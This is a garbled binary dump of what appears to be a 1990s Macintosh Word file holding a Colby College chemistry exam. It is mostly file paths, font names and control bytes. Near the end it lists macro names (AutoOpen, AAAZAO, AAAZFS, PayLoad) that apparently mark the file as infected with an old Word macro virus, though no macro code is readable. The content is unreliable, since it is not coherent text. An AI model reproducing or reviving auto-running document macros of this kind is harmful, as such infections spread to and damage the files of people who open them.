FontjOj WP DefaultsC8`0p@ P !$`'0*- ]a bc,O,Document  ]a bc**4   7*<NV *HFor College Use OnlyIBrad:System Folder:Eudora Folder:Attachments Folder:Chem 241 exam 9/23/96For Colby Use OnlyChris:Chem 141 exam-1- 9/23/96For Colby Use Only(Chris:Temporary Items:Word Work File A 1For Colby Use Only(Chris:Temporary Items:Word Work File A 1For Colby Use Only-Chris:Desktop Folder:Chem 141 exam-1- 9/23/96For Colby Use Only(Chris:Temporary Items:Word Work File A 4For Colby Use Only-Chris:Desktop Folder:Chem 141 exam-1- 9/23/96For Colby Use Only-Chris:Desktop Folder:Chem 141 exam-1- 9/23/96For Colby Use Only*Chris:Desktop Folder:Chem 141 exam-1- 1997UU U17 Uh )AutoOpenAAAZAOAAAZFSPayLoadAAAZAOAAAZFSPAYLOADAUTOOPEN@G {eMTimes New Roman Symbol MArial MTimes MMonaco MChicago MGeneva! aFaF$A Name For Colby Use OnlyFor Colby Use Onlyࡱ; v